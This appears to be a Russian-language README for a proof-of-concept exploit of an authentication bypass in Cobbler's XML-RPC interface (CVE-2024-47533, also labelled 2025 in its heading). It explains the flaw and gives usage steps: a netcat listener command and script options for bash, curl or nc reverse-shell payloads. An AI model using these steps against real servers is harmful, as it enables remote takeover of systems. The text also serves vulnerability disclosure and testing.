zs1n/cve-2024-47533CVE-2025-47533 Clobber RCE的PoC
Cobbler, сервер установки Linux, обеспечивающий быструю настройку сетевых установочных сред, имеет уязвимость аутентификации в версиях с 3.0.0 по (не включая) 3.2.3 и 3.3.7. Функция utils.get_shared_secret() всегда возвращает -1, что позволяет любому подключиться к XML-RPC интерфейсу Cobbler с пустым именем пользователя ('') и паролем -1. Это позволяет злоумышленнику, имеющему сетевой доступ, получить полный контроль над сервером Cobbler. Уязвимость исправлена в версиях 3.2.3 и 3.3.7.
Уязвимость вызвана некорректной обработкой общего секрета в функции utils.get_shared_secret(), которая всегда возвращает -1, фактически обходя аутентификацию. Это позволяет любому сетевому пользователю подключиться к XMLRPC интерфейсу Cobbler с пустыми учётными данными и выполнять произвольные команды.
http://<цель>:25151/ — конечная точка XMLRPC API Cobbler
Скрипт эксплойта поддерживает различные полезные нагрузки для обратной оболочки, включая:
nc)Запустите слушатель Netcat на вашей машине:
nc -lvnp 4444
Запустите скрипт эксплойта CVE-2024-47533.py.
python3 CVE-2024-47533.py -t http://127.0.0.1:25151 -l 10.10.15.16 -p 4444 --payload bash
-t : Цель (Пример: -t http://<IP_СЕРВИСА>:<ПОРТ>)
-l: Локальный IP (Пример: -l 10.10.11.80)
-p : Порт <ЛОКАЛЬНЫЙ_ПОРТ> (Пример: -p 4444)
--payload: Полезная нагрузка (bash, curl, nc) (Пример: --payload bash)
При успешном выполнении обратная оболочка подключится обратно к слушателю, предоставляя злоумышленнику удалённый доступ к серверу.